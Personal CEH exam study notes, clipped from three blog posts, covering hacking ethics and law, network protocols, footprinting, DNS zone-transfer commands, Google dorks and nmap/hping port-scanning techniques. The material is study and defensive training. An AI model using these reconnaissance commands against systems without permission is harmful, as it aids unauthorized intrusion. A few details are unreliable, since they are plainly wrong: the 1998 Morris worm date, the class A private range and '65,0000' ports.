Post 1

Friday, January 25, 2019 12:21 AM

CEH: ETHICAL HACKING CH. 1 NOTES

January 26, 2017 Moo Comments 0 Comment

Ethical hacking: Legal hacking done w/perm of an org to help increase sec

Security triad: CIA || Confidentiality/Integrity/Availability

Confidentiality	Addresses privacy/secrecy of info Physical: Locked doors || Logical: Passwds/Encryption
Integrity	Correctness of info: Allows usr confidence • Doesn't mean data is accurate: Only hasn't been mod'd in transit 2 modes: 1. Storage 2. Transit
Availability	When usr needs info it's there: Failover equipment needs info/redundancy/RAID

Risks/Assets/Threats/Vulns

Risk: Likelihood of threat occurrence

3 elements of risk:

1. Assets
2. Threats
3. Vulnerabilities

Asset: Any item of economic value

Threat: Any condition that could potentially cause harm

Vulnerability: A weakness in a system

Types of threats:

Natural disasters	**attacks**	**viruses/malware**	**disclosure of info**	**DoS/DDoS**

Threats can be found:

Applications: May be misconfigured/insecure/in need of patches/updates

OS: Unpatched bugs/outdated/known-unknown issues

Shrinkwrap SW: App/exe files on workstations/servers

TOE: Target of Evaluation

Black box: No-knowledge test: Tester has no knowledge of the network/infrastructure

- Unbiased – designer/tester are independent of each other
- Examines target like an attacker would

Disadvantages:

- Can be time consuming
- More expensive
- Only what external attackers see
- No focus on internal

White box: Full-knowledge test: Opposite approach of black box: Full knowledge of network/systems/infrastructure

- Spends more time probing for vulns

Gray box: Partial-knowledge test: EC-Council describes this as an internal test type

- Determines what insiders can access

Types of tests:

Vulnerability	**Network evaluations**	**Red-team exercises**	**Pentesting**	**Host vuln assessment**	**Vuln assessment**

Purpose: To determine the adequacy of sec measures/ID deficiencies/data/etc…

White hat: Helps to secure companies/orgs

Black hat: Illegal activities
Gray hat: Middle ground
Suicide: Carrying out an attack knowing you'll most likely go to jail

Methodology:

Reconnaissance/foot printing: Active/Passive
Scanning/Enumeration: Port scanning/Network mappers
Gaining access: Entry point to sys
Maintaining access
Covering tracks: Rootkits/backdoors/log wipes/etc…

History: 1960's:

- 1969: Mark Bernay (Midnight Skulker) wrote a program that allowed him to read everyone's ID/passwd where he worked.
- Fired/no charges because no laws

Innovators:

Steve Wozniak/Steve Jobs:

- Members of the Homebrew Computer Club of Palo Alto (John Draper too)
- Co-founders of Apple

Dennis Ritchie/Ken Thompson: Development of UNIX in 1969 while working at Bell Labs

Well known:

John Draper: Captain Crunch: Found a toy whistle in Captain Crunch cereal that produced a 2600Hz frequency

- Same as the AT&T trunking signals
- Joe Engressia was blind and could reproduce the sound of the whistle
- This frequency allowed free long-distance calls

Mark Abene: Phiber Optik: Helped form Masters of Deception in 1990: Arrested 1992/issues with Legion of Doom
Jeremy Hammond: Plead guilty to his role in 9 intrusions
Robert Morris: Son of a chief scientist at NSA: Accidentally released the Morris worm in 1998 from Cornell Uni lab
Kevin Mitnick: Condor: 1st hacker to make the FBI Most Wanted list. Broke into orgs

- Digital Equip Corp/Motorola/Nokia/Fujitsu/etc..
- Arrested in 1994: Works as a consultant now

Albert Gonzalez: Accused of masterminding combined CC theft/reselling of 170 million cards/ATM #'s from 2005-2007

- At the time, this was the biggest fraud of this type in history

Double-blind environment: The internal sec team hasn't been informed of a pentest

Skills to consider:

Routers: Routers/routing protocols/ACL knowledge (CCNA/CCIE)
MS: Operation/config/mgmt based sys (MCSE/MCSA)
Linux/Unix: Sec settings/configs/services (RH/Linux+)
Firewalls: Configs/IDS/IPS (CCSP/CCSA)
Mainframes
Network protocols: TCP/IP/Ethernet/etc… (Network+/CASP)
Project mgmt: Leading a test team
Writing skills
Staying on top of threats/vulns/etc…

Common modes of:

Info gathering: Type of attacks/leaks/how an attack might leverage info
External pentest: Simulates attacks (HTTP/SMTP/SQL)
Network gear testing: FW/IDS/Routers/Switches
DoS: The ability to withstand attacks
Wireless network testing: RFID/ZigBee
App testing: Input controls/data processes
Social engineering
Physical testing: Doors/locks/gates/CCTV
Auth sys testing: Control bypassing/simulated
DB: SQL servers/etc…
Comm system testing: PBX/VoIP/Modems/etc..
Stolen equip: Extracting critical info/usernames/passwds

Abiding by rules:

- Never exceed limits
- Setting up limitations beforehand (NDA bet client/tester/liability insurance/errors omission)
- Ethics
- Maintain confidentiality
- Don't harm

OSSTM: Open Source Sec Testing Methodology Manual

Test plans: Keeping it legal

Scope of the project:

- Scope of assessment
- Driving event?
- Goal of assessment
- What's needed in final report?

Most common reasons for pentests:

- Breach in sec
- Compliance w/state/fed/reg/laws/mandates
  - Companies can get huge fines/jail time if they fail to comply w/state-fed laws

3 examples: GLBA (Gram-Leach Bliley Act), SOX (Sarbanes-Oxley), HIPAA (Health Insurance Portability/Acctability Act)

Standard benchmarks:

Policy	**Organization**	**Asset control/Classification**	**Environmental/Physical**	**Employee**
Computer/Network Mgmt	**Access Controls**	**System Dev/Maintenance**	**Business Continuity Planning**	**Compliance**

Due diligence: Merges/New CEO's/etc…

3 Test phases:

1. Scoping of assessment
2. Goals/guidelines are established
3. Post-assessment activities

Basic questions to ask:

What is the org's mission?	What outcomes are expected?
What is the budget?	When will tests be performed?
How much time will org commit to?	Will insiders be notified?
Will customers be notified?	How far will test go?
In case of issues, contact who?	What are deliverables?
What outcome does mgmt seek?	

Getting approval: Make sure you have an approval plan in writing before any testing begins: Never do them w/out it

Most reports contain: Intro/Statement of work performed/Results & conclusions/Recommendations

Sites to check: National vuln DB/Sec Tracker/Secunia/Hacker Watch/Dark Reading/Exploits DB/SANS/Sec Focus

Overview of US Federal Laws

Hacking: US Code Title 18: Crimes & criminal procedure: Part 1: Crimes: Ch. 47 Fraud/False Statements: Section 1029
and 1030

Section 1029: Fraud and Related activity w/access devices:

- Power to prosecute hackers who intently/knowingly defraud/produce/use/traffic in 1/more counterfeit access devices
- Can be an app/HW created specifically to generate any type of access creds/passwds/CC #'s/long-distance telephone service access codes/PIN's etc…for the purpose of unauth access

Section 1030: Fraud/Related Activity in Connection w/Computers

- Just about any computer/device connected to a network/Internet
- Companies can use to prosecute employees when they use capabilities provided to carry out fraud

Electronic Comm Privacy Act: Mandates provisions for access/use/disclosure/interception/priv protections

- Sections 2510/2701

- Makes it illegal to capture comm in transit/storage

Computer Fraud & Abuse Act of 1984: Protects certain types of info that the gov’t maintains as sensitive

- 1992: Congress amended CFAA to include malicious code

Cyber Security Enhancement of 2002: Mandates longer/harsher punishments

From <https://www.piratemoo.net/moosings/ethical-hacking/ceh-ethical-hacking-ch-1-notes/>

Post 2

Friday, January 25, 2019 12:22 AM

TECHNICAL FOUNDATIONS OF HACKING CH2

January 28, 2017 Moo Comments 0 Comment

Attacker Process:

1. Reconnaissance/Footprinting
2. Scanning/Enumeration
3. Gaining access
4. Escalation of privilege
5. Maintaining access
6. Covering tracks/placing backdoors

Reconnaissance/Footprinting	Locate/gather/ID/record info about target • Passive info gathering/Dumpster diving/Social engineering **Dumpster diving:** Going through trash: Good media control policies prevent issues
Scanning/Enumeration	**Scanning:** Trying to connect to sys to elicit response **Enumeration:** Gathering in-depth info about target (shares/usr acct info) • **Active** | Injecting packets/scanning tools/mapping open ports/apps • Down-level software: Older SW • Priv escalation: Leveraging bug/vuln in app/OS to gain access normally for higher lvl usrs

Ethical Hacker Process:

Permission: Obtain written	Reconnaissance: Passive/Active	Scanning	Gaining access
Maintaining access	Covering tracks	Reporting	

1. **Assessment:** Pentesting
2. **Policy dev:** Based on org's goals/missions: Critical assets
3. **Implementation:** Building tech/op/managerial controls to secure key assets
4. **Training:** How to follow policy/config key sec controls: IDS/FW's
5. **Audit:** Periodic reviews of controls in place

NIST	**National Institute of Standards and Technology** NIST 800-115 **Assessment broken into 4 stages:** 1. Planning 2. Discovery 3. Attack 4. Reporting
OCTAVE	**Operational Critical Threat, Asset, Vuln Evaluation** • Focuses on org risk/strategic practice-related issues

	• Driven by op risk/sec practices/self-directed
OSSTMM	**Open Source Sec Testing Methodology Manual** **6 points AKA sec sections:** 1. Physical 2. Internet 3. InfoSec 4. Wireless 5. Comm 6. Social Engineering

OSI model: Open Systems Interconnection model:

- Application
- Presentation
- Session
- Transport
- Network
- Data Link
- Physical

L7: Application	Top layer: Window for app services: Programs/apps Security concerns: Malicious programs: Viruses/worms/Trojans/etc..
L6: Presentation	Takes data passed up from lower lvls: Puts into fmt that app layer programs can understand **Common formats:** • **ASCII:** American Standard Code for Information Interchange • **EBCDIC:** Extended Binary-Coded Decimal Interchange Code • **ANSI:** American National Standards Institute Most critical process handled at this layer: **Encryption/decryption**
L5: Session	Creating/controlling/shutting down TCP sessions • TCP connection establishment/connections • Protocols: RPC: Remote Procedure Call/SQLNet from Oracle Security concerns: **Session hijack:** When legitimate usr has session stolen
L4: Transport	Ensures completeness by handling end-to-end error recovery/flow control • Protocols: TCP (connection-oriented)/UDP (connectionless) **TCP: Transmission Control Protocol:** Reliable comm through use of: • Handshaking, acknowledgements, error detection, session teardowns **UDP: User Datagram Protocol:** Offers speed/low overhead Security concerns: SYN attacks, DoS, buffer overflows
L3: Network	Logical addressing/routing: Home of IP • Best effort delivery of datagrams from source/destination Security concerns: Route poisoning, DoS, spoofing, fragmentation attacks **Fragmentation attack**: Datagram fragments manipulated to overlap: Crash's victim's machine • IPSec: Key sec service at this layer
L2: Data Link	Fmting/organizing data before sending to physical: Organizes into frames • **Frame:** Logical structure data can be placed: Packet on wire • Frame reaches target: Is stripped/passes packet up to network **2 sublayers:** **1. LLC: Logical Link Control** **2. MAC: Media Access Control:** 6-byte (48bit) addr uniquely ID devices Security concerns: ARP poisoning

	• **ARP:** Resolves known addr to unknown MAC addr: Trusting protocol
L1: Physical	Bit-level comm: Defines how long each bit lasts/it's transmitted/received Security concerns: Accessing physical components/HW, Sniffers, MiTM

TCP/IP Protocols: 4 main protocols form core of TCP/IP:

IP	**TCP**	**ICMP: Internet Control Message Protocol**	**UDP**

4 layers of TCP/IP:

1. Application
2. Transport or host-to-host layer
3. Internet layer
4. Network access layer

App	Top: App support: Usually mapped by corresponding port • Ports placed into TCP/UDP packets: Correct app can be passed to required protocols • A service might have an assigned port: Nothing specifies services can't listen on other ports

Ports: Approx. 65,0000 ports: Divided into:

Well-known: 0-1023

Registered: 1024-49151

Dynamic: 49152-65535

- Less than 100 in common use

Common Ports/Protocols

Port	Service	Protocol	Port	Service	Protocol
21	FTP	TCP	22	SSH	TCP
23	Telnet	TCP	25	SMTP	TCP
53	DNS	TCP/UDP	67/68	DHCP	UDP
69	TFTP	UDP	79	Finger	TCP
80	HTTP	TCP	88	Kerberos	UDP
110	POP3	TCP	111	SUNRPC	TCP/UDP
135	MS RPC	TCP/UDP	139	NB Session	TCP/UDP
161	SNMP	UDP	162	SNMP Trap	UDP
389	LDAP	TCP	443	SSL	TCP
445	SMB over IP	TCP/UDP	1433	MS-SQL	TCP

Principle of least privilege: Giving people least amt of access to perform jobs/nothing else

Issues:

FTP	**File Transfer Protocol:** Moves files from one computer to another • TCP service: Port 20/21 • 20: Data stream • 21: Control stream: Passes cmds bet FTP client/server Attacks: Target misconfig dir perms/compromised or sniffed clear-txt passwds • One of the most commonly hacked services
DHCP	**Dynamic Host Config Protocol**: Assigns IP's to devices connected to a network • UDP service: Port 67/68

	• **DHCPv4:** DISCOVER/OFFER/REQUEST/ACKNOWLEDGE (**DORA**) • **DHCPv6**: SOLICIT/ADVERTISE/REQUEST/REPLY (**SARR**)
Telnet	Enables a client at 1 site to establish a session w/host on another site • TCP service: Port 23 • Sends info in clear txt: SSH should be used (encrypted)
SMTP	**Simple Mail Transfer Protocol**: Electronic mail exchange bet networked sys • TCP service: Port 25 • 2 parts: Address header/Msg txt • Spoofing/spamming
DNS	**Domain Name System**: Address translation • UDP: DNS queries: TCP: Zone transfers: Port 53 • Converts **FQDN's (Fully Qualified Domain Names)** into numeric IP/vice versa • Consists of 1/more zone files: Each zone are collection of structured resource records • Common types: SOA (Start Of Authority)/A (IPv4)/AAAA(IPv6)/CNAME/NS/PTR/MX ○ **SOA:** Describes zone namespace ○ **A/AAAA:** Contains IP's/names of specific hosts ○ **CNAME:** Alias ○ **NS:** Lists IP addresses of other name servers ○ **MX:** Mail exchange record: IP address of server where email should be delivered Attacks: DNS cache poisoning: Sends fake entries to a DNS server to corrupt info stored/DoS/Unauth zone transfers • **IETF: Internet Engineering Task Force** developed D**NSSEC: DNS Security Extensions** • **DNSSEC**: Designed for origin auth of DNS data used by DNS
TFTP	**Trivial File Transfer Protocol** • UDP service: Port 69 • Requires no authentication: No session mgmt offered by TCP • Nimda worm
HTTP	**Hyper Text Transfer Protocol:** • TCP service: Port 80 • Stateless connection: Uses request/response protocol: Client sends request/Server sends response Attacks: Server/Browser/scripts on browsers • Code Red targeted a web server
SNMP	**Simple Network Management Protocol** • UDP service: Ports 161/162 • Envisioned as inexpensive way to monitor networks • Allows agents to gather info: Net stats/report back to mgmt stations • Comm strings can be passed as clear txt/defaults are well known (public/private • Version 3 most current: Offers encryption

Transport Layer: End-to-end delivery: TCP/UDP

TCP: Enables 2 hosts establish connection/exchange data reliably

3 step-handshake: SYN | SYN-ACK | ACK

- Guarantees delivery w/sequence/acknowledgement numbers

4 step shutdown ends session: FIN ACK | ACK | FIN ACK | ACK

- Flow control/reliable comm/missing data re-sent
- Heart of TCP: 1 byte flag field

Common flags: SYN: Synchronize/ACK: Acknowledgment/PSH: Push/FIN: Finish

Issues:

- Sequence number attacks
- Session hijacking
- SYN flood attacks

Source/target app/seq ack #'s used to assemble packets into proper order: **ACK/Push/RST/SYN/FIN/URG**

SYN/ACK	Handshaking
RST/FIN	Tearing down connection FIN: Normal shutdown RST: Sig end of session
URG	If no flags set: flags NULL • Checksum used to ensure data correct: Attackers can alter TCP packet/checksum to make it appear valid

UDP: User Datagram Protocol: None of handshaking of TCP

- Less reliable/connectionless
- Data: Fast delivery/video etc…
- Used by DHCP/DNS: Easier to spoof: No seq/ack #'s

Internet Layer: IP/ICMP

- IP: Routable protocol: best effort delivery
- Attacks are based on the manipulation of packets
- Ping of Death exploited the Total Length field/fragmentation

IPv6	Address space moves from 32 to 128 bits • No Option field • Broadcast traffic not supported: Uses link-local scope on all-node multicast addresses • Built-in support for IPsec • End-to-end data auth/privacy • NAT/ARP: No longer needed if full transition happens • Uses **NDP: Network Discovery Protocol** instead of ARP
IPv4	Dotted decimal notation fmt/4-decimal # fmt separated by points • Option field • Each decimal number is 1 byte in length

Addressing

Class	**Range**	**# of Networks**	**# of hosts**
A	1-127	126	16,777,214
B	128-191	16,384	65,534
C	192-223	2,097,152	254
D	224-239	N/A	N/A
E	240-255	N/A	N/A

Private Address Range

Class	**Private Range**	**Subnet Mask**
A	10.0.0.0 – 255.255.255.255	255.0.0.0
B	172.16.0.0 – 172.31.255.255	255.255.0.0
C	192.168.0.0 – 192.168.255.255	255.255.255.0

IP: Datagram fragmentation

Fragmentation: Normally occurs when files must be split b/c of **MTU: Max Transmission Unit**size limitations

- If IP must send larger datagram than allowed by network layer: Delivered in smaller packets
- If too large: IP performs fragmentation: 2-3 more packets

Each packet labeled w/length/offset/more bit

- **Length**: Specifies total length of fragment
- **Offset**: Specifies distance from 1st byte of original datagram
- **More**: Used to indicate whether the fragment has more to follow/if last fragment series
- Normally fragments follow logical structure sequencing

Packet manipulation may cause fragmented packets to overlap abnormally:

- Packets can be crafted so instead of overlapping there would be gaps be various packets
- Can cause a cash
    - Teardrop: Good example of overlapping fragmentation: Win2000/NT machines

ICMP: Internet Control Message Protocol: Feedback used for diagnostics to report logical errors

- 1st byte: Header indicates type of msg
- 2nd byte: Contains code for each particular type of ICMP

ICMP Types/Codes

Type	Code	Function
0/8	0	Echo response/request (ping)
3	0-15	Destination unreachable
4	0	Source quench
5	0-3	Redirect
11	0-1	Time exceeded
12	0	Parameter fault
13/14	0	Time stamp request/response
17/18	0	Subnet mask request/response

Ping: Most common ICMP type: Useful to determine whether a host is up

Attacks: Ping of Death/Smurf DoS packets/query time stamps/redirect traffic

Common Type 3 Codes

Code	Function
0	Net unreachable
1	Host unreachable
2	Protocol unreachable
3	Port unreachable
4	Fragmentation needed and Don’t Fragment was set
5	Source route failed

6	Destination network unknown
7	Destination host unknown
8	Source host isolated
9	Comm w/destination network admin prohibited
10	Comm w/destination host admin prohibited
11	Destination network unreachable for type of service
12	Destination host unreachable for type of service
13	Comm admin prohibited

Network Access Layer: Bottom of stack: Portion of TCP/IP responsible for physical delivery of IP packets via frames

- Ethernet most commonly used LAN frame type
- Ethernet frames addressed w/MAC's to ID source/destination devices

MAC addresses: 6 bytes long: Unique to NIC in which they are burned

- Attacks: MAC spoofing/potential tool for attempting to bypass 802.11 wireless controls
    - Or when switches are used to control traffic by locking ports to specific MAC's
- Unicast/Multicast/Broadcast
- A frame always originates from a unicast MAC

3 Types of MAC Addresses:

Type	ID'd by
Unicast	1st byte is always an even value
Multicast	Low-order bit in 1st byte always on Multicasts are an odd value
Broadcast	All binary 1's or will appear in hex as FF FF FF FF FF FF

ARP: Address Resolution Protocol: Final protocol reviewed in Network Access

- Resolves known IP's to unknown MAC addresses

2 step resolution process:

- Sends broadcast requesting physical address
- If device recognizes address as own: Issues ARP reply containing MAC to sender
    1. Placed in ARP cache/used by subsequent frames
    2. Can manipulate/bypass switch functionality

Attacks: Proxy ARP's/MiTM's/Spoofing/In-session hijacking/Poisoning

- Unauthenticated

From <https://www.piratemoo.net/moosings/ethical-hacking/technical-foundations-of-hacking-ch2/>

Post 3

Friday, January 25, 2019 12:22 AM

CH.3 FOOTPRINTING/SCANNING

February 13, 2017 Moo Comments 0 Comment

7-Step Info-Gathering Process:

1. Info gathering
2. Network range
3. ID active machines
4. Find open ports/APs
5. OS fingerprint
6. Fingerprint services
7. Map attack surface

Documentation: Record domain name/IP/DNS/employee info/email/ranges/open ports/banner details: Helps map

- **Org Website**
- **Internal URL**: x.example.com
- **Restricted URL**: Domains not accessible to public
- **Internal pages:** Company news/employment opportunities/address/phone numbers

Suggestions:

- **Netcraft:** What's this site running? http://news.netcraft.com
- **Wayback:** http://www.archive.org

Other info leak point: Company dir: Can ID key employees by dept: SE w/info

Email server: Send emails that will bounce to inspect headers

Job board: May have postings w/info

Employee/People Searches: People: #1 target

Data aggregation brokerage sites: Perform online searches about people

Examples: Pipl | Spokeo | 123 People Search | Zabasearch | Peekyou | Email finder

Social Media: Facebook | Twitter | LinkedIn | Google+ | Orkut

EDGAR DB: If org pub trade: www.sec.gov | Yearly quarterly reports (10-Q/10-K)

Google Hacking: Beyond Google translate, doc, news/image searches

Example: Tool Big Brother: Monitors equip

- Reports status of items (CPU/disk usage SSH/HTTP/POP3/Telnet/etc…)
- Unlike SNMP: Info can be collected/fwded to central web page/location
  - SNMP: Collects info/devices polled
- Big Brother doesn't need root: Assumes base usr named bb/config usr w/privs: Known acct
- green:big brother/big brother system monitor status
  - Produces list of sites w/IP's/sys/services/vers

A few search terms

Operator	Description
Filetype	w/in txt: File | filetype:xls
Inurl	w/in URL of doc | inurl:search-text
Link	w/in hyperlinks | link:www.domain.com
Intitle	w/in title of doc | intitle:"Index of…etc"

Ops combined w/key terms can be used to uncover sensitive info
Google dorks: People who blindly post this info on web
allinurl:tsweb/default.htm

- Query searches in URL for tsweb/default.htm str
- Advanced ops for diff types of data
- Finding vulns via Google isn't considered unethical

Advanced Google Hacking: GHDB: www.hackersforcharity.org/ghdb/
Following categories:

Footholds	Usrnames	Sensitive dirs	Web servers	Vuln files/servers
Error msgs	Passwds/shopping info	Network/vuln data	Login portals/Advisories	Online devices

Johnny Long: Book: *Google Hacking for Penetration Testers*
Other examples: Exploit db: exploit-db.com
Maltego/Shodan:
Maltego: Open source intel/forensics: Tool-based approach to mining data in easy fmt
Shodan: Search for servers/webcams/printers/routers/SCADA devices connected to web
Usenet: Collection of 1000's of discussion groups on web: Names like @company.com
Registrar Query: ICANN: Mgmt of IP address space allocation/protocol param assignment/DNS mgmt
Domain name registration: Covered by competing firms/various services
RIR: Regional Internet Registries: Manage/distribute/register public IP's w/in regions

RIR	Region of Control
ARIN	North/South America/sub-Saharan Africa
APNIC	Asia/Pacific
RIPE	EU/ME/Parts of Africa
LACNIC	Latin America/Caribbean
AfriNIC	Planned RIR to support Africa

Primary tool to navigate: **Whois**: Interrogates domain name admin sys/returns info

- Ownership/addr/loc/phone/etc…
- Primary tool for DNS

Linux: whois domain.com/whois?
Windows: SmartWhois tamos.com
Examples of sites:

- betterwhois
- allwhois

- geektools
- centralops/net/co

Tools:

- Trout
- 3D Traceroute
- Path Analyzer Pro
- LoriotPro

DNS Enumeration: DNS servers may be targeted for zone transfers

Zone transfer: Used by DNS servers to update each other by transferring contents of their DB

- Structured hierarchy/passed up until server found that can resolve name request

Root

.org	.gov	.edu	.mil	.com	.net

NASA	NOAA	DEC	IBM
NSF		HP	

Query DNS servers: **Nslookup:** Provides machine name/addr info: Linux/Win

```
C:\> nslookup www.google.com
Server: dnsr1.abcglobal.net
Address: 68.94.156.1
Non-authoritative answer:
Name: www.1.google.com
Addresses: 64.233.187.99, 64.233.187.104
Aliases: www.google.com
```

1st/2 lines: Which servers queried

Nonauthoritative: No copies of domains: Cache file constructed from all lookups performed in past

Interactive mode: Prompt of >; usr can enter variety options: Including zone transfer

DNS: Normally moves info from 1 DNS server to another through zone transfers:

- If domain contains more than 1 ns: 1 Primary: Other 2ndary

4-Step Zone Transfer Service:

1. 2ndary ns starts process by requesting SOA record from primary ns
2. Primary checks list of auth servers: If 2ndary on list: SOA sent
3. 2ndary must check SOA to see if match against SOA it maintains
   - If match: Stops there
   - If SOA has serial # higher: 2ndary will need update
   - Serial # indicates changes made since last time sync'd w/primary server
   - If update req: 2ndary NS will send **AXFER:** All Zone Transfer request to primary
4. Receipt of AXFR: Primary server sends entire zone file to 2ndary

IPv4 DNS Records/Types

Record Name	Type	Purpose
Host	A	Maps a domain name to an IP
Pointer	PTR	Maps IP to a domain name
Name Server	NS	Configs settings for zone xfers/record caching
Start of Authority	SOA	Configs settings for zone transfers/record caching
Service Locator	SRV	Locates services in network
Mail	MX	ID SMTP servers

SOA: Contains timeout value: TTL: Tells how log any DNS poisoning would last: Last value in SOA

Zone transfer: Unlike normal lookup: Usr attempts to retrieve copy of entire zone file for domain from DNS server

- Lookups: Primarily UDP 53 (unless greater than 512 bytes)
- Zone transfers: TCP 53: Must be connected to a DNS an authoritative server for zone

Trying to force a zone transfer:

1. nslookup
2. server ip [authoritative server for zone]
3. set type = any: Query any record
4. ls -d x.com Name of targeted domain

Dig: Another tool to provide the same info (bot Linux/Win)

Range of other tools:

- NetInspector
- DigDug
- WhereISIP
- DNSMap

```
C:\Windows\system32> nslookup
Default server: dns.blah.com
Address: 128.112.3.12

server 172.6.1.114
set type=any
ls -d blah.com

blah.com SOA hostmaster.blah.com (950849 21600 3600 1728000 3600)
```

Red: How long DNS poisoning would last (60 min)

Net Range: whois lookup arin.net (tracert for addl mapping)

Traceroute: Determines path to target: Win/UNIX

- tracert name: 8.3 legacy filename constraints from DOS
- Van Jacobson: To view path packets follow from source to destination
- Owes functionality to IP header TTL field
- W/out TTL: Some datagram’s might travel forever
- TTL: Decrementing counter: Each hop a datagram passes through reduces field by 1
- If value reaches 0, datagram discarded/time exceeded in transit ICMP

msg created

Linux traceroute: Based on UDP | Windows tracert: Based on ICMP

TCTPraceroute: Michael Schiffman: Patch traceroute.diff

- Allows you to specify port that traceroute will use: Good chance it could slip past a FW

GUI based SW:

- **LoriatPro:** SNMP manager/network monitoring solution: Enables avail/performance control
- **Trout:** Visual traceroute/Whois program
  - Parallel pinging: Sends packets w/more than 1 TTL at time
- **VisualRoute:** GUI world map/displays path packets take: Lists info for each hop (IP/node/geo loc)

ID Active Machines: Pings sweeps

- Ping: ICMP: Sends echo req to sys/waits for target to send echo reply
- Unreachable? Time out returned
  - RFC: No specify what's carried in packet as payload: Vendors fill as see fit
  - Only 1 sys at time pinged/Not all networks allow it

Perform large # of hosts? Sweep

Examples:

Angry IP Scanner	Hping	WS_Ping_ProPack	Net scan tools	Super Scan	Nmap

Finding Open Ports/Access Points

TCP: More opportunities to manip packets than UDP: Connection based/Handshake

3-Way Handshake:

1. Client sends server TCP packet w/seq # (SYN) flag/sets ISN: Initial seq #
2. Server replies by sending packet w/SYN/ACK: Sync seq # flag informs client it would like to comm:
   - Ack informs client it received packet: Ack # will be 1 digit higher than client's ISN
   - Server generates ISN to keep track
3. Client receives server's packet: Creates ACK packet to ack data received from server: Comm begins

TCP Flag Types

Flag	Descript
SYN	Sync/ISN
ACK	Ack: Packets received
FIN	Final data flag: 4-step shutdown
RST	Reset bit used to close abnormal connections
PSH	Sig data in packet should be pushed to beginning of queue: Urgent msg
URG	Used to sig urgent control chars present: Priority

4-Step Shutdown:

1. Client sends server packet w/FIN/ACK
2. Server sends packet ACK: Ack client's packet
3. Server generates packet w/FIN/ACK to inform client ready to end session

4. Client sends server packet w/ACK flag set to end session

Popular Port Scanning Techniques

TCP Connect	Most reliable/detectable: Full connection established • Open: Reply SYN/ACK • Closed: Reply RST/ACK
TCP FIN	Jumps to shut down: Sends FIN packet to target port • Open: No response • Closed: RST/ACK ○ Usually UNIX devices/RFC793
TCP NULL	Sends packet w/out flags set: OS TCP RFC793: • Open: No reply • Closed: RST
TCP ACK	Tries to determine ACL rule sets/ID if FW stateless inspection: • Stateful FW: No response • ICMP dest unreachable/Comm admin prohibited: Filtered • RST: FW
TCP XMAS	Toggled scan on FIN/URG/PSH flags • Open: No response • Closed: RST: RF793

Full connect/SYN scans should work against all systems

Zombie scans: Obscure: Used to help hide ID: Idle scanning

How it works w.TCP/IP:

- IP makes use of ID #: AKA IPID: Counter helps assemble fragmented traffic
- TCP performs handshake before comm: Sends SYN packet to receiving: Port open: SYN/ACK
- Closed: RST: Acts as notice something wrong: Not replied to
  - If did: Would flood each other w/streams of RST's
- Combining these chars w/IPID: Successful idle scan possible

Open idle	Attacker sends IPID probe to idle host to solicit response: • Attacker sends spoofed packet: SYN sent to victim: Addr from idle host • Open: Generates SYN/ACK ○ Idle host not on victim's sys: Responds w/RST to term ○ This increments IPID by 1 Attacker queries idle host/issued IPID response +1? • IPID count incremented by +2: Assume port open
Closed idle	Initial query to determine idle host IPID value: • Responds: RST: They don't generate addl RST's: Comm bet idle host/victim ends • Probes idle host: IPID only increments +1
Limitations	Sys to play role of idle host must be idle: • Chatty sys: Too many IPID increments: BAD • Not all OS's use incrementing IPID's • Some distros/Linux set IPID to 0/generate random values • Results have to be measured to be useful

Other types

ACK	ACK probe w/random seq #'s

	• ICMP type 3 code 13 response: Maybe stateless FW used • RST: Port not filtered
FTP Bounce	FTP server to bounce packets off of: Harder to trace
RPC	Tries to determine if open ports RPC ports
Window	Similar to ACK: Sometimes determines open ports • Examines TCP window size of returned RST packets • Open: Positive window size • Closed: 0 window size

UDP scans: Unlike TCP: Based on speed: No flags: Closed: ICMP type 3 code 3 port unreachable msg: Block ICMP? No error

Nmap: Fyodor Yarochkin: Most well-known

Some switches:

-sS	TCP SYN stealth	**-sT**	TCP connect
-sU	UDP	**-sP**	Ping scan
-sF, -sX, -sN	Stealth FIN/Xmas/Null	**-sV**	Vers scan service/apps/ver
-sR/-I	RPC/Ident	**-O**	Fingerprinting remote OS
-F	Only ports listed in nmap-services	**-v/-vv**	Verbose
-P0	Don’t ping hosts	**-Ddecoy_host1, decoy2**	Hide scan using decoys
-6	IPv6	**-T**	Timing policy
-n/-R	No DNS res/Always	**-oN/-oX/-oG** <logfile>	Output XML/grepable scan logs to
-iL<logfile>	Gets target from file ‘ ‘ stdin	**-S IP/-e** <device>	Specify source addr/net int

Example: nmap -v -sS -O www.blah.com 192.168.0.0/16 ‘192.88-90.*.*’ **zenmap:** GUI vers

THC-Amap: Linux scanning/banner grabbing: Traditional programs: Not all services give up right banner (SSL)

- Stores collection of responses: Can fire off at port to elicit response

Ways to block: Port-knocking: Only after inputting set order of port connections can one be made

Scanrand: Paketto Keiretsu: Dan Kaminsky: Fast scanning tool: Stateless scanning

2 distinct processes: Use of inverse SYN cookies

- 1 sends requests at high speed
- Other left to sort incoming responses/figure out how it matches up
- Builds hashed seq # placed in outgoing packet that can be ID’d on return:
  - Value contains ID’s source IP/port | dest IP/port
  - Much faster than traditional scans

Hping: Ping sweeps/port scans: Can function as packet builder: Hping 2/3 FW testing/ID honeypots/port scans

Some flags

Ping sweep	hping3 -1 IP
UDP	hping3 -2 IP

SYN	hping3 -8 IP
ACK	hping3 -A IP
XMAS	hping3 -F -P -U IP

Port Knocking: Method of establishing connection to host that doesn't initially list open ports

- Device sends series of connection attempts to specific series of ports
- After proper seq of port knocking detected: Req port opened: Connection established
- Makes harder to ID open ports

Disadvantages: Doesn't harden underlining app: Not useful for publicly accessible services

- Anyone w/ability to sniff traffic will have seq

War Dialers: War Games: 1983: Using modem/SW to scan for other sys w/modems attached

- Dials range of #'s w/hope of getting 1 to respond w/appropriate tone: Can bypass corporate FW's
- Modems: Still popular w/OOB mgmt/remote access

Well-known war dialing tools:

ToneLoc	Looks for dial tones randomly dialing #'s/w/in a range • Can also look for carrier freq of modem/fax • Uses input file that contains area codes/# ranges to dial
TeleSweep Secure	Can support multiple lines simultaneously
THC-Scan	Older/DOS: Can use modem to dial ranges of #'s to search for carrier freq from modem/fax

War Driving: Named after war dialing: Looking for open AP's: ID open/rogue AP's: Can be a danger

OS Fingerprinting: Passive/Active

Active: Malformed packets to target: Hopes to elicit response that will ID it

Passive: Sniffing: Examining packets for certain chars that can determine OS

4 commonly examined items used to fingerprint:

IP TTL value	Diff OS's set TTL to unique values on outbound packets
TCP window size	OS vendors use diff values for initial win size
IP DF	Not all OS vendors handle fragmentation same way: • 1500 bytes common size w/eth0
IP TOS	Type of Service: 3-bit field that controls priority of specific packets • Not all vendors handle this the same way
ICMP/IPID	

Passive tool: p0f (Linux): Passively fingerprint source of incoming connections after tool up

